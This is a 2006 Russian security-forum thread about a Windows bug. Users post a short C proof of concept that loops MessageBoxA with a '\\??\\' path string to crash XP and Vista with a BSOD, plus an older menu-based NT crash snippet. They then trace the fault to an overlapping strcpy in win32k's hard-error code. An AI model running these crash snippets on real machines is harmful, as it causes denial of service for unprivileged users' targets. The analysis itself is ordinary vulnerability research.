информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Страшный баг в WindowsSpanning Tree Protocol: недокументированное применениеГде водятся OGRы
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Microsoft обещает радикально усилить... 
 Ядро Linux избавляется от российских... 
 20 лет Ubuntu 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / operating systems
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Самое интересное не рассказали! 19.12.06 22:56  Число просмотров: 5006
Автор: ыыы Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Вы же самое интересное не рассказали.


> } else if ((asLocal.Length > 4) &&
> !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
> strcpy( asLocal.Buffer, asLocal.Buffer+4);
> asLocal.Length -= 4;

Этот код после if выполняется, если вопросительных знаков нет, и длина больше четырех -- то есть в обычном случае. Значит, к выпадению он отношения не имеет. А что же там после else? Падать должно там.

>
> А у MB_SERVICE_NOTIFICATION ноги растут потому что дебрях
> винды MB_SERVICE_NOTIFICATION месагбокс с эмулируется через
> NtRaiseHardError :))
>
> Помнится NT убивал нижеследующий код. Вот что называется
> перенесли кривоподелие user32 в ядро...
> HMENU hMenu = CreatePopupMenu();
> HMENU hMenu1 = CreatePopupMenu();
> AppendMenu(hMenu1,MF_STRING, 1, "1");
> AppendMenu(hMenu1,MF_STRING, 2, "2");
> AppendMenu(hMenu1,MF_STRING, 3, "3");
> InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1");
> InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2");
> InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3");
> InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4");
> InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5");
> InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
<operating systems>
Убиение винды :( 19.12.06 15:19  
Автор: Killer{R} <Dmitry> Статус: Elderman
Отредактировано 19.12.06 15:22  Количество правок: 1
<"чистая" ссылка>
#include <Windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char bug [] = "\\??\\C:\\";
for(int i = 0; i < 10; i ++)::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);
return 0;
}

(c) http://security.nnov.ru/Gnews944.html
XP, XPx64,, Vista - BSOD после N'ного мессагбокса или просто глюки. Работает хоть из под гостя. Иногда правда не с первого раз.
Самое забавное что мессагбокс показывает совершенно другой текст. Причем по китайски :)
во дают =))) 20.12.06 10:27  
Автор: noonv <Vladimir> Статус: Member
<"чистая" ссылка>
О, сколько нам открытий чудных, хранят в себе ещё исходники венды... -)) 20.12.06 05:52  
Автор: HandleX <Александр М.> Статус: The Elderman
<"чистая" ссылка>
Прикольно :) Мабуть китайские братья постарались. 19.12.06 20:25  
Автор: Fighter <Vladimir> Статус: Elderman
<"чистая" ссылка>
Работает :-) 19.12.06 19:37  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
[расковырял] надо будет поковырять будет под дебагом 19.12.06 21:45  
Автор: Killer{R} <Dmitry> Статус: Elderman
Отредактировано 19.12.06 23:36  Количество правок: 5
<"чистая" ссылка>
Но чтото мне подсказывает что это был какой то быстрокривохак для замены пути NT-style выводимого MessageBox'м каким то сервисом на win32, причем в коде win32k.sys, а сам сервис ковырять никто не хотел почемуто :)

[РАСКОВЫРЯЛ жуя апельсину] обошелся сырцами винды :)
Функция GetHardErrorText
Первое что поразило - длина функции почти 700 строк Сшного кода :))
Коммент:
* This function figures out the message box title, text and flags.
* We want to do this up front so we can log this error when the hard error is
* raised. Previously we used to log it after the user had dismissed the message
* box -- but that was not when the error occurred (DCR Bug 107590)
Функция занимается тем что находит в тексте месаг бокса строчки типа "{EXCEPTION}" и если таковые есть - чтото еще оттуда выдирает и пишет в системный лог. Прямо из MessageBox'а! Воистину мега-криво-хак :)

} else if ((asLocal.Length > 4) && !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
strcpy( asLocal.Buffer, asLocal.Buffer+4 );// когда strcpy не было сильно заоптимизированным это наверно работало :))))
asLocal.Length -= 4;

А у MB_SERVICE_NOTIFICATION ноги растут потому что дебрях винды MB_SERVICE_NOTIFICATION месагбокс с эмулируется через NtRaiseHardError :))

Помнится NT убивал нижеследующий код. Вот что называется перенесли кривоподелие user32 в ядро...
HMENU hMenu = CreatePopupMenu();
HMENU hMenu1 = CreatePopupMenu();
AppendMenu(hMenu1,MF_STRING, 1, "1");
AppendMenu(hMenu1,MF_STRING, 2, "2");
AppendMenu(hMenu1,MF_STRING, 3, "3");
InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1");
InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2");
InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3");
InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4");
InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5");
InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
Самое интересное не рассказали! 19.12.06 22:56  
Автор: ыыы Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Вы же самое интересное не рассказали.


> } else if ((asLocal.Length > 4) &&
> !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
> strcpy( asLocal.Buffer, asLocal.Buffer+4);
> asLocal.Length -= 4;

Этот код после if выполняется, если вопросительных знаков нет, и длина больше четырех -- то есть в обычном случае. Значит, к выпадению он отношения не имеет. А что же там после else? Падать должно там.

>
> А у MB_SERVICE_NOTIFICATION ноги растут потому что дебрях
> винды MB_SERVICE_NOTIFICATION месагбокс с эмулируется через
> NtRaiseHardError :))
>
> Помнится NT убивал нижеследующий код. Вот что называется
> перенесли кривоподелие user32 в ядро...
> HMENU hMenu = CreatePopupMenu();
> HMENU hMenu1 = CreatePopupMenu();
> AppendMenu(hMenu1,MF_STRING, 1, "1");
> AppendMenu(hMenu1,MF_STRING, 2, "2");
> AppendMenu(hMenu1,MF_STRING, 3, "3");
> InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1");
> InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2");
> InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3");
> InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4");
> InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5");
> InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
[UPD] Все рассказали :) 19.12.06 23:06  
Автор: Killer{R} <Dmitry> Статус: Elderman
Отредактировано 19.12.06 23:20  Количество правок: 1
<"чистая" ссылка>
чисто ликбез: _strnicmp возвращает 0 при равенстве строк
Просто по документации strcpy: The behavior of strcpy is undefined if the source and destination strings overlap.
А, понял. 19.12.06 23:22  
Автор: ыыы Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> чисто ликбез: _strnicmp возвращает 0 при равенстве строк

Действительно. Получается, что вылетает strcpy( asLocal.Buffer, asLocal.Buffer+4);

а исходного кода strcpy у вас случайно нет? :)

Интересно же, как ее надо было оптимизировать, чтобы она вылетела.
исходники strcpy можно посмотреть в вижаке. 20.12.06 14:08  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
весело ) 19.12.06 15:52  
Автор: !mm <Ivan Ch.> Статус: Elderman
<"чистая" ссылка>
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach